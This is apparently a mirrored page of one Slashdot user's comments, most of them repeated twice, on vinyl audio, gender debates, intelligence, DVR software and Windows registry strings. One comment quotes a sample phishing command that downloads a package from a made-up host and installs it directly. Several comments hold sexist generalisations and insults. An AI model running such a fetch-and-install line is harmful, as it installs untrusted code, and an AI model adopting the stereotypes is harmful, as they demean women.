It's been demonstrated that, even on the absolute best hardware available, CDs and vinyl are indistinguishable. However, vinyl degrades much, much faster. After a dozen plays, the vinyl will sound noticeably worse than the CD.
I say this as someone who loves vinyl. I have no delusions that CDs are as good or better for fidelity, especially over time. However, if you want to listen to Dark Side Of The Moon, the only proper way to do it is on vinyl.
I'm not an audiophile, though I want my music to sound as good as possible. I just know what vinyl is good for.
It just feeds into the sound-card port. I understand that the timecode is really just a tone of some frequency - slowing or speeding the record changes the received sound, and since the program knows that the timecode is, say, 800Hz, it can apply the transformation to the audio.
One day I wouldn't have thought twice about it. I'm only 18, and as such a little younger than the stereotypical pedo, but I tried to help a lost, sobbing 5-year-old on the subway once and almost got arrested. God forbid I was 15 years older - I'd have gone to prison.
You make a point. However, I'd argue that the problem your friend has is entirely hers. If she thinks guys are hitting on her, it's her job to say "cut it out" or not. From experience as a male engineer, it's about 50/50 "hitting on"/help. And she'll make herself unpopular if she gets all "stop hitting on me" to every guy that comes around ("she's so full of herself for assuming every guy wants her"). Assuming every guy offering her some help - whether it's with a flat tire or a differential equation - is trying to hit on her, would make her a bitch. The right answer is to accept the help - if she needs it - and then fend off future, more forward advances if she wants.
When I was in high school, I knew a macho guy who took an AP literature class. He was the only guy out of 16 girls. He didn't care at all. By that token, girls should... um... "sack up" and deal with it. Guys manage it just fine.
Now, I don't espouse that argument - in fact, I actively disagree with it. But it can only be one way or the other. Guys should change to make it easier for girls, or girls should change to make it easier for guys. There is absolutely no reason to choose one over the other.
It's a well-accepted and researched fact that there is more variance in male IQs than in females. The slightest shred of research (aka googleing iq variance) would have supported this.
Your whole other assertion is ridiculous. Do you actually think *MOST* women died by age 30?? I'd give you a citation but I can't even tell if you're serious. Again, googling historical life expectancy should help you.
Not to mention that by 1900 childbirth was relatively safe. Working in a factory (almost exclusively male) killed far more.
Advances in the "new era" don't disregard the fact that communication alone doesn't get anything done. Let alone that, for example, male scientists have no issue collaborating.
Our country is based on immigrants and immigration. Were our immigration laws saner, most illegal immigrants would be upstanding members of society. That's hard to do when you have to live your life, taking whatever job you can get to make ends meet. Newsflash - if all immigrants were legal, they couldn't be paid less than minimum wage, so there'd be no incentive to pick them over you.
You had me at least tacitly listening until you spewed your bullshit about how we will be subjugated as "concubines, whores, and slaves". That line is what made you a jackass.
Go watch some Fox News, and listen to Limbaugh. Try not to burn any crosses on your way.
Actually, as a man I'd argue that that's true for any man.
I *know* that I'm better at some things than a typical woman. I *know* that men are inherently better at some things than women - at the risk of making a pun, they have the balls to take risks. I've seen a lot of men try math or science and succeed, and a lot of men try math and fail. Yet, I've rarely seen women "give it their all" in one of these fields, because women don't seem to try things that they aren't sure they can do.
Yet, I *know* that when men fuck up, they fuck up big. All of the stories about some guy lighting a match to see into his gas tank, or something similar, are about men. Less extremely, you have men who overextend their superior abilities and get killed. An EE (probably) won't be able to wire your house to code - but he may try and die. Women, again, don't try what they think they'll fail.
In short, men seem to be very good at some things, and forget that they're not that good at everything else - hence the abject stupidity. Women seem to be more constant - less super-bright spots, but a more even glow. Our society can't survive without both sides of the coin. If women had no power, men would destroy society. But if men had no power, we'd all get along but nothing would ever get done.
I know I come off as a douche. Sorry; there's no nice way to say it.
I disagree. Knowing every Star Trek episode (or NASCAR race, or baseball stats) is not intelligence of any sort. It's simple memorization.
Intelligence isn't defined, but there is a definition.
I believe that all the different "types" of intelligence, such as social intelligence, or mathematical intelligence, are really one type - probably best described as "pattern intelligence". Every person I'd call intelligent (which, yes, does include people outside my interests) is very good at taking things they know and generating something from it. In other words, contextualization, generalization, and synthesis.
Our NASCAR fan isn't intelligent by virtue of his memory, but if he's able to come up insights based on his knowledge, he'd be intelligent.
My ass. Look, I'll agree that our definition of intelligence is fundamentally flawed, and that there are multiple facets to intelligence (verbal, societal, logical...)
But if "intelligence...has no objective reality" then nobody could be stupid. And we all know stupid people.
Since it's apparent that there's a low end to the scale (even intuitive), there has to be a high one. We just haven't found how to measure it. I'd argue that the same rule - our intuition - is the best one we have at the moment. We all know smart people. But, alas, that's not quantitative.
Relational finesse and emotional manipulation have their counterpart in men - reason and logic.
That sounds flamebait. Let me try again.
Women tend to favor and pursue the emotional methods when interacting with people. If you can sway somebody's emotions, you've won.
Men tend to see this as unimportant, and rely on the facts of the matter. I'm right because my formula says I am, or I'm right because I make sense and you have a flaw in your logic.
Men rely on their argument being heard by somebody who fundamentally runs on the same rules as they do. Women don't much care - the emotional methods work on anyone.
Since so few people seem to have even a shred of logic nowadays, I'd say women have the advantage.
My point is, don't say that men's first step is violence. For most things, it isn't. We both try our hand at argument. Men getting violent and kicking the crap out of someone seems to be roughly analogous to a woman getting "bitchy", to use the colloquialism. Both can be equally damaging, but violence is usually over very quickly.
Assumption of female innocence or sympathy for women, which may result in problems such as disproportionate penalties for men and women for similar crimes,[5] lack of sympathy for male victims in domestic violence cases, and dismissal of female-on-male rape cases.
The Myth of Male Power: Why Men Are the Disposable Sex; Warren Farrell, Simon & Schuster, New York, 1993: ISBN 0-671-79349-7
Martin S. Fiebert of the Department of Psychology at California State University, Long Beach, provides an annotated bibliography of over two hundred scholarly works which demonstrate that women and men often exhibit comparable levels of IPV violence.[30] In a Los Angeles Times article about male victims of domestic violence, Fiebert suggests that "...consensus in the field is that women are as likely as men to strike their partner but that—as expected—women are more likely to be injured than men."[119] However, he noted, men are seriously injured in 38% of the cases in which "extreme aggression" is used. Fiebert additionally noted that his work was not meant to minimize the serious effects of men who abuse women.
The present analyses indicate that men are among those who are likely to be on the receiving end of acts of physical aggression. The extent to which this involves mutual combat or the male equivalent to “battered women” is at present unresolved. Both situations are causes for concern. Straus (1997) has warned of the dangers involved—especially for women—when physical aggression becomes a routine response to relationship conflict. “Battered men”—those subjected to systematic and prolonged violence—are likely to suffer physical and psychological consequences, together with specific problems associated with a lack of recognition of their plight (George and George, 1998). Seeking to address these problems need not detract from continuing to address the problem of “battered women."[120]
Clearly, shelter houses full of battered women demonstrate the need for their continued existence. Moreover, outside of North American and Northern Europe, gender inequality is still the norm (Archer, in press). However, within those countries that have been most progressive about women’s equality, female violence has increased as male violence has decreased (Archer, in press). There is not one solution for every domestically violent situation; some require incarceration of a terrorist perpetrator, others can be dealt with through court-mandated treatment, still others may benefit from couples therapy. However, feminist inspired intervention standards that preclude therapists in many states from doing effective therapy with male batterers are one outcome of this paradigm. The failure to recognize female threat to husbands, female partners, or children is another (Straus et al., 1980 found 10% higher rates of child abuse reported by mothers than by fathers). The one size fits all policy driven by a simplistic notion that intimate violence is a recapitulation of class war does not most effectively deal with this serious problem or represent the variety of spousal violence patterns revealed by research. At some point, one has to ask whether feminists are more interested in diminishing violence within a population or promoting a political ideology. If they are interested in diminishing violence, it should be diminished for all members of a population and by the most effective and utilitarian means possible. This would mean an intervention/treatment approach based on other successful approaches from criminology and psychology.[121]
The bulk of these arrests have been men being arrested for assaulting women. However, in the case of reciprocal violence, frequently only the male perpetrator is arrested
Another study has demonstrated a high degree of acceptance by
I don't think he was making it out to be some sort of conspiracy. I think the finger he was leveling was more along the lines of "well, according to women none of these things ever happen".
He has a point. I recently read a lengthy article discussing the supposed "gender gap", where about 15 years ago a feminist group purchased a "study" claiming that girls were falling behind in American education - when in fact the opposite was true; girls did better in school, were happier, and more likely to go to college even then. After all the resulting chaos, that is even more true than it was - and still, women are somehow the repressed ones.
I digress, but it illustrates my point. We forced the president of Harvard to resign because he suggested that women and men were better at different things. God forbid a man attempts do say damn near anything that even timidly suggests a weakness of women - yet the very same women who would destroy that man can't seem to shut up about how men destroy the world.
There's a lack of women in engineering! Oh noes! Let's push them into it. But there's also a lack of male nurses and lawyers, and nobody seems too fussed.
IOW, there's a lot of blame for women as well. A man, let alone politician, can hardly suggest that boys/men need any help because he'd get eaten alive for "ignoring the multitude of problems women in America face everyday" or something.
More or less yes, but the principle is sound. Offsets are voluntary so those who feel "guilty" pay.
Essentially, no individual person or company pays for pollution - we all do, all across the world. I'm talking about any and all kinds of pollution, not just greenhouse gases.
Carbon credits - the government taxy, non-voluntary way - is a good idea because if, say, GM releases a bunch of sulfuric acid into the atmosphere, they don't need to pay for it, or any of the costs it inflicts on the planet. Instead, everybody does.
Credits are a perfect example of free-market ideals - polluting becomes a cost of doing business, and as the cost of polluting rises, companies will become more efficient or less profitable.
If you want "damn it, just work" and willing to drop a few hundred, get a TiVo. I have one (Series 2) with the Lifetime contract (if I sold it now it'd be worth more than it was when it was new because of that). It works great, doesn't screw up, pretty easy to hack (bigger HDDs), intuitive interface, integrates with Blockbuster, Netflix, connects to the computer,... The only problem is ads. They're everywhere - trying to sell me some car or buy some movie or order a pizza (ugh) whenever I go into the menus. What the fuck? I paid for the damn thing, and it didn't start out with ads...
If you want a bit more flexibility, maybe multiple tuners or automatic reencoding or commercial-skipping or remote-play, but don't want to fuss with it and don't mind a bit of cash (less than a TiVo), Windows Media Center works great. I hate Microsoft, and I don't use Windows, but WMC is a quality product. It's more hackable than the TiVo, free listings, multi-tuner support, CableCARD support (want your Discovery HD?), and the files are more-or-less standard. There's a vibrant community providing such things as commercial skipping and all manner of scripts and whatnot. Only reason I stopped using it is because I stopped using Windows.
If you want the ultimate in flexibility, and virtually no cost, but don't mind spending a weekend setting it up, go with MythTV. If you can imagine it, it can do it. Have a backend with several tuners in your basement to record cable, stick another backend in the attic to get HD DTV with good reception. Save it all on a NAS box in the garage. Stream it all over the web, to your iPhone, to your laptop in the bathroom. Set up diskless network-booting frontends wherever you want them. Take a tablet PC, give it a small SSD, and have a wireless TV (live or recorded). Access all your shows from any frontend. Start a show, finish it in another room. Commercial skipping, firewire capture, home automation, picture-in-picture, IR blasting, integrated torrenting if you want it - the list goes on. Anti-corporate, no broadcast flag here. But there's no CableCARD support, because they're not bully-able enough.
In short, you have two curves - the decreasing cost curve, coupled with the increasing effort curve - just like any other bit of technology. I've used all three of these solutions - they all work great. It depends what you're looking for.
I'd also like to put in behind EyeTV, mostly because it's the only thing that works on a Mac. It's pretty good.
A few more nerd points:
* They support XMLTV, so you can schedulesdirect->xmltv->EyeTV if they don't support your locality. * Clean interface, easy searching * Multiple tuner support * Quality listings view * Great remote support (its own and the Apple remote) * Extensible. There's a Front Row plugin, and a commercial marker/skipper plugin. * Super-flexible recording. Create a "smart guide" (in the same style as an iTunes smart playlist, and as useful), tell it to record everything, done.
The downsides: * Expensive. Standalone it's $80, which sucks if you have a compatible tuner already. * Bogs down sometimes if you have a lot of recordings/files/schedules (haven't figured out which one) * Crappy priority support. I don't know how EyeTV decides which of conflicting schedules to record, though this stopped being a problem when I got a second tuner. * Crappy multituner support. If a show is in HD, and only one tuner is HD, it won't necessarily use that tuner. You can mitigate that by the aforementioned "smart guide" - set the guide for "The Office" to be limited to channel 4.1 - but it's a pain. * No concept of "don't screw with my Live TV". Literally every other PVR throws up a grovelling little message when it wants to record a show and you're watching TV. EyeTV just switches the channel for you. Sucks if you're watching a sports game.
In short, it's not as good as MythTV and has actually given me more problems. I'm not sure it's worth $80, but most people use the bundled copy that came with their tuner which is a much better deal. I'm not thrilled with the software, but it works well enough and doesn't get in my way too much. Plus, it's the only PVR for OSX, so you're stuck.
he just couldn't hear it over the sound of his gong-size balls knocking together.
Seriously. I want to buy this guy a beer.
It seems likely the police/DA are going to be like "what, are you stupid?" and not prosecute the case. But in that case, I should hope that attitude gets used as precedent - if nobody cares enough to do anything to this guy, even when he makes it so easy, why should they do it to someone who makes it hard?
(the preceding is essentially American law, apologies in advance for where it doesn't apply)
When I saw this guy on the boards I just assumed he did. I mean, who would be stupid enough to not ask for permission to run crap on computers you don't own, especially when it's at best orthogonal to the purpose of the machines? It's like if I were to run a personal webserver off the school's T3.
It sounds like this may not be the only issue, either. Apparently there was some theft involved as well?
I can't speak to the rest of this - though it sounds quite dangerous - but DON'T FUCK AROUND WITH A CRT UNLESS YOU KNOW WHAT YOU ARE DOING
There's banks of capacitors in there that, if charged up, will kill you in an instant, if you're unlucky or stupid enough to bridge one. They hold about 30kV. If you want to try this, make sure you leave the TV unplugged for a few days, to drain the caps - or properly discharge it. In theory, you can ground the anode - but I'm not qualified to ensure that's safe. I can't speak for the rest of it, but it sounds fairly dangerous as well.
As I understand it, NT strings aren't C-strings - that is, they don't end with the \0 null-byte. I think they may be Pascal-strings, preceded by the length. Windows uses the standard C-string terminated by the null byte.
Long story short, Registry entries are NT strings, while regedit displays them as Windows strings - and hence stops at the (valid) null-containing data. Therefore, it's not a trivial problem to fix, and it affects any program using the NT string as a C string.
Caveat - This may be wrong. It's been a while since I've fought these intricacies. Use at your own risk and all that.
But if you were a stupid user (I choose stupid instead of ignorant), you'd be happy to do anything the "dancing bunnies" email told you to do, including "wget -O- http://dancing.bun/thing.deb | dpkg -i -" (no, I don't know if dpkg will read stdin).
It is admittedly easier to tell a user "don't get software unless it's in the repos" but that presupposes that some quality dancing bunnies/bonzi bunny/comet cursor replacement is in the repos.
In short, users will go to extreme lengths to fuck themselves up - I guess this is what makes them lusers.
Slashdot Mirror
It's been demonstrated that, even on the absolute best hardware available, CDs and vinyl are indistinguishable. However, vinyl degrades much, much faster. After a dozen plays, the vinyl will sound noticeably worse than the CD.
I say this as someone who loves vinyl. I have no delusions that CDs are as good or better for fidelity, especially over time. However, if you want to listen to Dark Side Of The Moon, the only proper way to do it is on vinyl.
I'm not an audiophile, though I want my music to sound as good as possible. I just know what vinyl is good for.
It just feeds into the sound-card port. I understand that the timecode is really just a tone of some frequency - slowing or speeding the record changes the received sound, and since the program knows that the timecode is, say, 800Hz, it can apply the transformation to the audio.
What are you doing man? You'll get all of us arrested!
One day I wouldn't have thought twice about it. I'm only 18, and as such a little younger than the stereotypical pedo, but I tried to help a lost, sobbing 5-year-old on the subway once and almost got arrested. God forbid I was 15 years older - I'd have gone to prison.
You make a point. However, I'd argue that the problem your friend has is entirely hers. If she thinks guys are hitting on her, it's her job to say "cut it out" or not. From experience as a male engineer, it's about 50/50 "hitting on"/help. And she'll make herself unpopular if she gets all "stop hitting on me" to every guy that comes around ("she's so full of herself for assuming every guy wants her"). Assuming every guy offering her some help - whether it's with a flat tire or a differential equation - is trying to hit on her, would make her a bitch. The right answer is to accept the help - if she needs it - and then fend off future, more forward advances if she wants.
When I was in high school, I knew a macho guy who took an AP literature class. He was the only guy out of 16 girls. He didn't care at all. By that token, girls should... um... "sack up" and deal with it. Guys manage it just fine.
Now, I don't espouse that argument - in fact, I actively disagree with it. But it can only be one way or the other. Guys should change to make it easier for girls, or girls should change to make it easier for guys. There is absolutely no reason to choose one over the other.
I can't believe you were modded up so far.
It's a well-accepted and researched fact that there is more variance in male IQs than in females. The slightest shred of research (aka googleing iq variance) would have supported this.
Your whole other assertion is ridiculous. Do you actually think *MOST* women died by age 30?? I'd give you a citation but I can't even tell if you're serious. Again, googling historical life expectancy should help you.
Not to mention that by 1900 childbirth was relatively safe. Working in a factory (almost exclusively male) killed far more.
Advances in the "new era" don't disregard the fact that communication alone doesn't get anything done. Let alone that, for example, male scientists have no issue collaborating.
You, sir, are a xenophobic idiot.
Our country is based on immigrants and immigration. Were our immigration laws saner, most illegal immigrants would be upstanding members of society. That's hard to do when you have to live your life, taking whatever job you can get to make ends meet. Newsflash - if all immigrants were legal, they couldn't be paid less than minimum wage, so there'd be no incentive to pick them over you.
You had me at least tacitly listening until you spewed your bullshit about how we will be subjugated as "concubines, whores, and slaves". That line is what made you a jackass.
Go watch some Fox News, and listen to Limbaugh. Try not to burn any crosses on your way.
Actually, as a man I'd argue that that's true for any man.
I *know* that I'm better at some things than a typical woman. I *know* that men are inherently better at some things than women - at the risk of making a pun, they have the balls to take risks. I've seen a lot of men try math or science and succeed, and a lot of men try math and fail. Yet, I've rarely seen women "give it their all" in one of these fields, because women don't seem to try things that they aren't sure they can do.
Yet, I *know* that when men fuck up, they fuck up big. All of the stories about some guy lighting a match to see into his gas tank, or something similar, are about men. Less extremely, you have men who overextend their superior abilities and get killed. An EE (probably) won't be able to wire your house to code - but he may try and die. Women, again, don't try what they think they'll fail.
In short, men seem to be very good at some things, and forget that they're not that good at everything else - hence the abject stupidity. Women seem to be more constant - less super-bright spots, but a more even glow. Our society can't survive without both sides of the coin. If women had no power, men would destroy society. But if men had no power, we'd all get along but nothing would ever get done.
I know I come off as a douche. Sorry; there's no nice way to say it.
I disagree. Knowing every Star Trek episode (or NASCAR race, or baseball stats) is not intelligence of any sort. It's simple memorization.
Intelligence isn't defined, but there is a definition.
I believe that all the different "types" of intelligence, such as social intelligence, or mathematical intelligence, are really one type - probably best described as "pattern intelligence". Every person I'd call intelligent (which, yes, does include people outside my interests) is very good at taking things they know and generating something from it. In other words, contextualization, generalization, and synthesis.
Our NASCAR fan isn't intelligent by virtue of his memory, but if he's able to come up insights based on his knowledge, he'd be intelligent.
My ass. Look, I'll agree that our definition of intelligence is fundamentally flawed, and that there are multiple facets to intelligence (verbal, societal, logical...)
But if "intelligence...has no objective reality" then nobody could be stupid. And we all know stupid people.
Since it's apparent that there's a low end to the scale (even intuitive), there has to be a high one. We just haven't found how to measure it. I'd argue that the same rule - our intuition - is the best one we have at the moment. We all know smart people. But, alas, that's not quantitative.
Relational finesse and emotional manipulation have their counterpart in men - reason and logic.
That sounds flamebait. Let me try again.
Women tend to favor and pursue the emotional methods when interacting with people. If you can sway somebody's emotions, you've won.
Men tend to see this as unimportant, and rely on the facts of the matter. I'm right because my formula says I am, or I'm right because I make sense and you have a flaw in your logic.
Men rely on their argument being heard by somebody who fundamentally runs on the same rules as they do. Women don't much care - the emotional methods work on anyone.
Since so few people seem to have even a shred of logic nowadays, I'd say women have the advantage.
My point is, don't say that men's first step is violence. For most things, it isn't. We both try our hand at argument. Men getting violent and kicking the crap out of someone seems to be roughly analogous to a woman getting "bitchy", to use the colloquialism. Both can be equally damaging, but violence is usually over very quickly.
From Wikipedia:
Assumption of female innocence or sympathy for women, which may result in problems such as disproportionate penalties for men and women for similar crimes,[5] lack of sympathy for male victims in domestic violence cases, and dismissal of female-on-male rape cases.
The Myth of Male Power: Why Men Are the Disposable Sex; Warren Farrell, Simon & Schuster, New York, 1993: ISBN 0-671-79349-7
Martin S. Fiebert of the Department of Psychology at California State University, Long Beach, provides an annotated bibliography of over two hundred scholarly works which demonstrate that women and men often exhibit comparable levels of IPV violence.[30] In a Los Angeles Times article about male victims of domestic violence, Fiebert suggests that "...consensus in the field is that women are as likely as men to strike their partner but that—as expected—women are more likely to be injured than men."[119] However, he noted, men are seriously injured in 38% of the cases in which "extreme aggression" is used. Fiebert additionally noted that his work was not meant to minimize the serious effects of men who abuse women.
The present analyses indicate that men are among those who are likely to be on the receiving end of acts of physical aggression. The extent to which this involves mutual combat or the male equivalent to “battered women” is at present unresolved. Both situations are causes for concern. Straus (1997) has warned of the dangers involved—especially for women—when physical aggression becomes a routine response to relationship conflict. “Battered men”—those subjected to systematic and prolonged violence—are likely to suffer physical and psychological consequences, together with specific problems associated with a lack of recognition of their plight (George and George, 1998). Seeking to address these problems need not detract from continuing to address the problem of “battered women."[120]
Clearly, shelter houses full of battered women demonstrate the need for their continued existence. Moreover, outside of North American and Northern Europe, gender inequality is still the norm (Archer, in press). However, within those countries that have been most progressive about women’s equality, female violence has increased as male violence has decreased (Archer, in press). There is not one solution for every domestically violent situation; some require incarceration of a terrorist perpetrator, others can be dealt with through court-mandated treatment, still others may benefit from couples therapy. However, feminist inspired intervention standards that preclude therapists in many states from doing effective therapy with male batterers are one outcome of this paradigm. The failure to recognize female threat to husbands, female partners, or children is another (Straus et al., 1980 found 10% higher rates of child abuse reported by mothers than by fathers).
The one size fits all policy driven by a simplistic notion that intimate violence is a recapitulation of class war does not most effectively deal with this serious problem or represent the variety of spousal violence patterns revealed by research. At some point, one has to ask whether feminists are more interested in diminishing violence within a population or promoting a political ideology. If they are interested in diminishing violence, it should be diminished for all members of a population and by the most effective and utilitarian means possible. This would mean an intervention/treatment approach based on other successful approaches from criminology and psychology.[121]
The bulk of these arrests have been men being arrested for assaulting women. However, in the case of reciprocal violence, frequently only the male perpetrator is arrested
Another study has demonstrated a high degree of acceptance by
Be careful. A president of Harvard got fired for suggesting as much - God forbid that someone's sex may impact more than their appearance.
I don't think he was making it out to be some sort of conspiracy. I think the finger he was leveling was more along the lines of "well, according to women none of these things ever happen".
He has a point. I recently read a lengthy article discussing the supposed "gender gap", where about 15 years ago a feminist group purchased a "study" claiming that girls were falling behind in American education - when in fact the opposite was true; girls did better in school, were happier, and more likely to go to college even then. After all the resulting chaos, that is even more true than it was - and still, women are somehow the repressed ones.
I digress, but it illustrates my point. We forced the president of Harvard to resign because he suggested that women and men were better at different things. God forbid a man attempts do say damn near anything that even timidly suggests a weakness of women - yet the very same women who would destroy that man can't seem to shut up about how men destroy the world.
There's a lack of women in engineering! Oh noes! Let's push them into it. But there's also a lack of male nurses and lawyers, and nobody seems too fussed.
IOW, there's a lot of blame for women as well. A man, let alone politician, can hardly suggest that boys/men need any help because he'd get eaten alive for "ignoring the multitude of problems women in America face everyday" or something.
How old do you think Python is? Look it up ... ... ...
It's 18 years old. In fact, it's only 4 years younger than Python.
I suppose you think Google, CERN, and NASA are stupid to be "using a glorified VB clone"?
Maybe it is you that is wrong.
You're either a troll or stupid. I'm hoping the former, but guessing the latter.
More or less yes, but the principle is sound. Offsets are voluntary so those who feel "guilty" pay.
Essentially, no individual person or company pays for pollution - we all do, all across the world. I'm talking about any and all kinds of pollution, not just greenhouse gases.
Carbon credits - the government taxy, non-voluntary way - is a good idea because if, say, GM releases a bunch of sulfuric acid into the atmosphere, they don't need to pay for it, or any of the costs it inflicts on the planet. Instead, everybody does.
Credits are a perfect example of free-market ideals - polluting becomes a cost of doing business, and as the cost of polluting rises, companies will become more efficient or less profitable.
Really, this question is like every technology.
If you want "damn it, just work" and willing to drop a few hundred, get a TiVo. I have one (Series 2) with the Lifetime contract (if I sold it now it'd be worth more than it was when it was new because of that). It works great, doesn't screw up, pretty easy to hack (bigger HDDs), intuitive interface, integrates with Blockbuster, Netflix, connects to the computer, ... The only problem is ads. They're everywhere - trying to sell me some car or buy some movie or order a pizza (ugh) whenever I go into the menus. What the fuck? I paid for the damn thing, and it didn't start out with ads...
If you want a bit more flexibility, maybe multiple tuners or automatic reencoding or commercial-skipping or remote-play, but don't want to fuss with it and don't mind a bit of cash (less than a TiVo), Windows Media Center works great. I hate Microsoft, and I don't use Windows, but WMC is a quality product. It's more hackable than the TiVo, free listings, multi-tuner support, CableCARD support (want your Discovery HD?), and the files are more-or-less standard. There's a vibrant community providing such things as commercial skipping and all manner of scripts and whatnot. Only reason I stopped using it is because I stopped using Windows.
If you want the ultimate in flexibility, and virtually no cost, but don't mind spending a weekend setting it up, go with MythTV. If you can imagine it, it can do it. Have a backend with several tuners in your basement to record cable, stick another backend in the attic to get HD DTV with good reception. Save it all on a NAS box in the garage. Stream it all over the web, to your iPhone, to your laptop in the bathroom. Set up diskless network-booting frontends wherever you want them. Take a tablet PC, give it a small SSD, and have a wireless TV (live or recorded). Access all your shows from any frontend. Start a show, finish it in another room. Commercial skipping, firewire capture, home automation, picture-in-picture, IR blasting, integrated torrenting if you want it - the list goes on. Anti-corporate, no broadcast flag here. But there's no CableCARD support, because they're not bully-able enough.
In short, you have two curves - the decreasing cost curve, coupled with the increasing effort curve - just like any other bit of technology. I've used all three of these solutions - they all work great. It depends what you're looking for.
I'd also like to put in behind EyeTV, mostly because it's the only thing that works on a Mac. It's pretty good.
A few more nerd points:
* They support XMLTV, so you can schedulesdirect->xmltv->EyeTV if they don't support your locality.
* Clean interface, easy searching
* Multiple tuner support
* Quality listings view
* Great remote support (its own and the Apple remote)
* Extensible. There's a Front Row plugin, and a commercial marker/skipper plugin.
* Super-flexible recording. Create a "smart guide" (in the same style as an iTunes smart playlist, and as useful), tell it to record everything, done.
The downsides:
* Expensive. Standalone it's $80, which sucks if you have a compatible tuner already.
* Bogs down sometimes if you have a lot of recordings/files/schedules (haven't figured out which one)
* Crappy priority support. I don't know how EyeTV decides which of conflicting schedules to record, though this stopped being a problem when I got a second tuner.
* Crappy multituner support. If a show is in HD, and only one tuner is HD, it won't necessarily use that tuner. You can mitigate that by the aforementioned "smart guide" - set the guide for "The Office" to be limited to channel 4.1 - but it's a pain.
* No concept of "don't screw with my Live TV". Literally every other PVR throws up a grovelling little message when it wants to record a show and you're watching TV. EyeTV just switches the channel for you. Sucks if you're watching a sports game.
In short, it's not as good as MythTV and has actually given me more problems. I'm not sure it's worth $80, but most people use the bundled copy that came with their tuner which is a much better deal. I'm not thrilled with the software, but it works well enough and doesn't get in my way too much. Plus, it's the only PVR for OSX, so you're stuck.
he just couldn't hear it over the sound of his gong-size balls knocking together.
Seriously. I want to buy this guy a beer.
It seems likely the police/DA are going to be like "what, are you stupid?" and not prosecute the case. But in that case, I should hope that attitude gets used as precedent - if nobody cares enough to do anything to this guy, even when he makes it so easy, why should they do it to someone who makes it hard?
(the preceding is essentially American law, apologies in advance for where it doesn't apply)
When I saw this guy on the boards I just assumed he did. I mean, who would be stupid enough to not ask for permission to run crap on computers you don't own, especially when it's at best orthogonal to the purpose of the machines? It's like if I were to run a personal webserver off the school's T3.
It sounds like this may not be the only issue, either. Apparently there was some theft involved as well?
It must suck to be you. And I thought I was cynical...
I can't speak to the rest of this - though it sounds quite dangerous - but DON'T FUCK AROUND WITH A CRT UNLESS YOU KNOW WHAT YOU ARE DOING
There's banks of capacitors in there that, if charged up, will kill you in an instant, if you're unlucky or stupid enough to bridge one. They hold about 30kV. If you want to try this, make sure you leave the TV unplugged for a few days, to drain the caps - or properly discharge it. In theory, you can ground the anode - but I'm not qualified to ensure that's safe. I can't speak for the rest of it, but it sounds fairly dangerous as well.
As I understand it, NT strings aren't C-strings - that is, they don't end with the \0 null-byte. I think they may be Pascal-strings, preceded by the length. Windows uses the standard C-string terminated by the null byte.
Long story short, Registry entries are NT strings, while regedit displays them as Windows strings - and hence stops at the (valid) null-containing data. Therefore, it's not a trivial problem to fix, and it affects any program using the NT string as a C string.
Caveat - This may be wrong. It's been a while since I've fought these intricacies. Use at your own risk and all that.
But if you were a stupid user (I choose stupid instead of ignorant), you'd be happy to do anything the "dancing bunnies" email told you to do, including "wget -O- http://dancing.bun/thing.deb | dpkg -i -" (no, I don't know if dpkg will read stdin).
It is admittedly easier to tell a user "don't get software unless it's in the repos" but that presupposes that some quality dancing bunnies/bonzi bunny/comet cursor replacement is in the repos.
In short, users will go to extreme lengths to fuck themselves up - I guess this is what makes them lusers.